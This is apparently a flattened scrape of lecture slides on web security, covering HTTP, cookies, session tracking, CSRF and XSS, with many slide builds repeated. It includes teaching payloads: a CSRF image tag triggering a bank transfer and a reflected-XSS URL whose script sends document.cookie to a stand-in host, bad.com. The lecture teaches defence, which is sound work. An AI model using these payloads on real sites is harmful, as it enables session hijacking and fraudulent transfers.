This time
Continuing with
Web
Security
Cookies
XSS & CSRF
Required reading for this lecture: “Web Security: Are You Part Of The Problem?” “Cross Site Request Forgery: An Introduction…”
This time Continuing with Web Security Cookies XSS & CSRF - - PowerPoint PPT Presentation
This time Continuing with Web Security Cookies XSS & CSRF Required reading for this lecture: Web Security: Are You Part Of The Problem? Cross Site Request Forgery: An Introduction HTTP GET requests Contain headers.
Required reading for this lecture: “Web Security: Are You Part Of The Problem?” “Cross Site Request Forgery: An Introduction…”
http://www.reddit.com/r/security Contain headers. Request to download (GET) a resource (webpage, file, etc.) from a location (URL)
http://www.reddit.com/r/security Contain headers. Request to download (GET) a resource (webpage, file, etc.) from a location (URL)
http://www.reddit.com/r/security User-Agent is typically a browser but it can be wget, JDK, etc. Contain headers. Request to download (GET) a resource (webpage, file, etc.) from a location (URL)
Referrer URL: the site from which this request was issued.
Contain headers and body (data). Request to upload (POST) data to a resource (a program) hosted at a location (URL)
Contain headers and body (data). Request to upload (POST) data to a resource (a program) hosted at a location (URL)
Contain headers and body (data). Request to upload (POST) data to a resource (a program) hosted at a location (URL) Implicitly includes data as a part of the URL
Contain headers and body (data). Request to upload (POST) data to a resource (a program) hosted at a location (URL) Explicitly includes data as a part of the request’s content Implicitly includes data as a part of the URL
Browser Web server
Client Server HTTP Request User clicks
Browser Web server
Client Server User clicks
Browser Web server
Client Server User clicks HTTP Response
Browser Web server
Client Server User clicks
HTTP Response
<html> …… </html>
<html> …… </html> Headers Data HTTP version Status code Reason phrase HTTP responses
client from that previous session”
Browser Web server
Client Server HTTP Request
Browser Web server
Client Server HTTP Request
State
Browser Web server
Client Server
State
Browser Web server
Client Server HTTP Response
State
Browser Web server
Client Server HTTP Response
State
Browser Web server
Client Server HTTP Response
State
Browser Web server
Client Server
State
Browser Web server
Client Server HTTP Request
State
Browser Web server
Client Server HTTP Request
State
Browser Web server
Client Server HTTP Request
State
Order $5.50
Order
socks.com
Order $5.50
Order
Pay
The total cost is $5.50. Confirm order?
Yes No
socks.com socks.com Separate page
<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>
What’s presented to the user
<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>
What’s presented to the user
if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();
The corresponding backend processing
if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();
The corresponding backend processing
<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>
What’s presented to the user
<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>
What’s presented to the user
value=“0.01”
<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html>
What’s presented to the user
<html> <head> <title>Pay</title> </head> <body> <form action=“submit_order” method=“GET”> The total cost is $5.50. Confirm order? <input type=“hidden” name=“price” value=“5.50”> <input type=“submit” name=“pay” value=“yes”> <input type=“submit” name=“pay” value=“no”> </body> </html> <input type=“hidden” name=“sid” value=“781234”>
What’s presented to the user
price = lookup(sid); if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();
The corresponding backend processing
price = lookup(sid); if(pay == yes && price != NULL) { bill_creditcard(price); deliver_socks(); } else display_transaction_cancelled_page();
The corresponding backend processing We don’t want to pass hidden fields around all the time
subsequent queries to that same server
Browser Web server
Client Server HTTP Request
subsequent queries to that same server
Browser Web server
Client Server HTTP Request
State
subsequent queries to that same server
Browser Web server
Client Server HTTP Request
State Cookie
subsequent queries to that same server
Browser Web server
Client Server
State Cookie
subsequent queries to that same server
Browser Web server
Client Server HTTP Response
State Cookie
subsequent queries to that same server
Browser Web server
Client Server HTTP Response
Cookie State Cookie
subsequent queries to that same server
Browser Web server
Client Server HTTP Response
Cookie State Cookie Cookie
subsequent queries to that same server
Browser Web server
Client Server HTTP Response
Cookie State Cookie Cookie Server
subsequent queries to that same server
Browser Web server
Client Server
State Cookie Cookie Server
subsequent queries to that same server
Browser Web server
Client Server HTTP Request
State Cookie Cookie Server
subsequent queries to that same server
Browser Web server
Client Server HTTP Request
State Cookie Cookie Server Cookie
<html> …… </html> Headers Data Set-Cookie:key=value; options; ….
<html> …… </html> Headers Data Set-Cookie:key=value; options; ….
Browser
Client
(Private) Data
Semantics
Browser
Client
(Private) Data
it like one big hash table)
Semantics
Browser
Client
(Private) Data
it like one big hash table)
Semantics
Browser
Client
(Private) Data
it like one big hash table)
any domain ending in .zdnet.com
Semantics
Browser
Client
(Private) Data
it like one big hash table)
any domain ending in .zdnet.com
within a subdirectory of /
Semantics
Browser
Client
(Private) Data
it like one big hash table)
any domain ending in .zdnet.com
within a subdirectory of /
<domain>/<path>
Semantics
Browser
Client
(Private) Data
it like one big hash table)
any domain ending in .zdnet.com
within a subdirectory of /
<domain>/<path>
Semantics
Subsequent visit …
Subsequent visit …
Response
Subsequent visit …
Response
S shows you an ad from A; A scrapes the referrer URL
S shows you an ad from A; A scrapes the referrer URL Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change
S shows you an ad from A; A scrapes the referrer URL Option 1: A maintains a DB, indexed by your IP address Problem: IP addrs change Option 2: A maintains a DB indexed by a cookie
ad networks (doubleclick)
Ad provided by an ad network
Snippet of reddit.com source
Snippet of reddit.com source Our first time accessing adzerk.net
I visit reddit.com
I visit reddit.com
I visit reddit.com
I visit reddit.com Later, I go to reddit.com/r/security
I visit reddit.com Later, I go to reddit.com/r/security
I visit reddit.com Later, I go to reddit.com/r/security
I visit reddit.com Later, I go to reddit.com/r/security We are only sharing this cookie with *.adzerk.net; but we are telling them about where we just came from
track users who have already authenticated
http://website.com/login.html?user=alice&pass=secret
with the correct password, then the server associates a “session cookie” with the logged-in user’s info
in the request headers and/or as one of the fields:
http://website.com/doStuff.html?sid=81asf98as8eak
the same browser that authenticated Alice earlier.”
track users who have already authenticated
http://website.com/login.html?user=alice&pass=secret
with the correct password, then the server associates a “session cookie” with the logged-in user’s info
in the request headers and/or as one of the fields:
http://website.com/doStuff.html?sid=81asf98as8eak
the same browser that authenticated Alice earlier.”
Attacks?
session cookie and visits this link?
http://bank.com/transfer.cgi?amt=9999&to=attacker
Browser
Client
attacker.com
Browser
Client
<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”>
attacker.com
Browser
Client
<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”>
attacker.com
Browser automatically visits the URL to obtain what it believes will be an image.
Browser
Client
bank.com
<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”>
attacker.com
Browser automatically visits the URL to obtain what it believes will be an image.
Browser
Client
bank.com
<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/ transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automatically visits the URL to obtain what it believes will be an image.
Browser
Client
bank.com
<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/ transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automatically visits the URL to obtain what it believes will be an image.
Cookie
bank.com
Browser
Client
bank.com
<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/ transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automatically visits the URL to obtain what it believes will be an image.
Cookie
bank.com
C
i e
Browser
Client
bank.com
<img src=“http://bank.com/ transfer.cgi?amt=9999&to=attacker”> http://bank.com/ transfer.cgi?amt=9999&to=attacker
attacker.com
Browser automatically visits the URL to obtain what it believes will be an image.
Cookie
bank.com
C
i e
$$$
server where requests from the user’s browser to the server have a predictable structure
browser that look to the server like the user intended to make them
the attacker’s control
Disallow one site to link to another?? The loss of functionality would be too high
Disallow one site to link to another?? The loss of functionality would be too high Referrer URL: Only allow certain actions if the referrer URL is from this site, as well Make the request unpredictable; put the cookie into the request, as well
http://website.com/doStuff.html?sid=81asf98as8eak
Browser Web server
Client Server
Cookie State Cookie Cookie Server Cookie
Browser Web server
Client Server
Cookie State Cookie Cookie Server Cookie
Network-based attacks (more later)
Browser Web server
Client Server
Cookie State Cookie Cookie Server Cookie
For now, we’ll assume this attack model:
expressed as a program, e.g., written in Javascript:
<html><body> Hello, <b> <script> var a = 1; var b = 2; document.write(“world: “, a+b, “</b>”); </script> </body></html>
the web server
no relation to Java
bank.com web page
the Same Origin Policy (SOP)
elements in the first place
Browser
Client
(Private) Data
18…
any domain ending in .zdnet.com
resource within a subdirectory of /
to <domain>/<path>
Semantics
Browser
Client
(Private) Data
18…
any domain ending in .zdnet.com
resource within a subdirectory of /
to <domain>/<path>
Semantics
script’s origin is bank.com
script’s origin is bank.com
send the attacker’s script to the user’s browser!
same origin… because it does!
same origin as the bank.com server
that includes some Javascript code
response within the same origin as bank.com
bank.com bad.com
bank.com bad.com
Inject malicious script
1
bank.com bad.com
Inject malicious script
1
Browser
Client
bank.com bad.com
Inject malicious script
1
Browser
Client
bank.com bad.com
Inject malicious script
1
Request content
2
Browser
Client
bank.com bad.com
Inject malicious script
1
Request content
2
Receive malicious script
3
Browser
Client
bank.com bad.com
Inject malicious script
1
Request content
2
Receive malicious script
3
Execute the malicious script as though the server meant us to run it
4
Browser
Client
bank.com bad.com
Inject malicious script
1
Request content
2
Receive malicious script
3
Execute the malicious script as though the server meant us to run it
4
Perform attacker action
5
Browser
Client
bank.com bad.com
Inject malicious script
1
Request content
2
Receive malicious script
3
Execute the malicious script as though the server meant us to run it
4
Perform attacker action
5
GET http://bank.com/transfer?amt=9999&to=attacker
Browser
Client
bank.com bad.com
Inject malicious script
1
Request content
2
Receive malicious script
3
Execute the malicious script as though the server meant us to run it
4
Steal valuable data
5
Perform attacker action
5
GET http://bank.com/transfer?amt=9999&to=attacker
Browser
Client
bank.com bad.com
Inject malicious script
1
Request content
2
Receive malicious script
3
Execute the malicious script as though the server meant us to run it
4
Steal valuable data
5
Perform attacker action
5
GET http://bank.com/transfer?amt=9999&to=attacker GET http://bad.com/steal?c=document.cookie
user-generated content page on a vulnerable web service
access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)
(e.g., via an ordinary browser). Optional tool: a server for receiving stolen user information
page does not contain embedded scripts
same origin as the bank.com server
that includes some Javascript code
response within the same origin as bank.com
Browser
Client
bad.com
Browser
Client
bad.com
Visit web site
1
Browser
Client
bad.com
Visit web site
1
Receive malicious page
2
Browser
Client
bank.com bad.com
Visit web site
1
Receive malicious page
2
Browser
Client
bank.com bad.com
Click on link
3
Visit web site
1
Receive malicious page
2
Browser
Client
bank.com bad.com
Click on link
3
Visit web site
1
Receive malicious page
2 URL specially crafted by the attacker
Browser
Client
bank.com bad.com
Click on link
3
Echo user input
4
Visit web site
1
Receive malicious page
2 URL specially crafted by the attacker
Browser
Client
bank.com bad.com
Click on link
3
Echo user input
4
Execute the malicious script as though the server meant us to run it
5
Visit web site
1
Receive malicious page
2 URL specially crafted by the attacker
Browser
Client
bank.com bad.com
Click on link
3
Echo user input
4
Execute the malicious script as though the server meant us to run it
5
Perform attacker action
6
Visit web site
1
Receive malicious page
2 URL specially crafted by the attacker
Browser
Client
bank.com bad.com
Click on link
3
Echo user input
4
Execute the malicious script as though the server meant us to run it
5
Steal valuable data
6
Perform attacker action
6
Visit web site
1
Receive malicious page
2 URL specially crafted by the attacker
instances where a good web server will echo the user input back in the HTML response
instances where a good web server will echo the user input back in the HTML response
http://victim.com/search.php?term=socks
Input from bad.com:
instances where a good web server will echo the user input back in the HTML response
http://victim.com/search.php?term=socks
<html> <title> Search results </title> <body> Results for socks : . . . </body></html>
Input from bad.com: Result from victim.com:
http://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>
Input from bad.com:
http://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>
<html> <title> Search results </title> <body> Results for <script> ... </script> . . . </body></html>
Input from bad.com: Result from victim.com:
http://victim.com/search.php?term= <script> window.open( “http://bad.com/steal?c=“ + document.cookie) </script>
<html> <title> Search results </title> <body> Results for <script> ... </script> . . . </body></html>
Browser would execute this within victim.com’s origin Input from bad.com: Result from victim.com:
vulnerable web service that includes parts of URLs it receives in the web page output it generates
access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)
crafted URL. Optional tool: a server for receiving stolen user information
does not contain embedded scripts other than its own
strings… everything.. against a rigorous spec of what should be allowed
session ends
user any time you want (until password change)
data sent from the legitimate website
to the client browser
website has in data sent from the client browser
sends to the website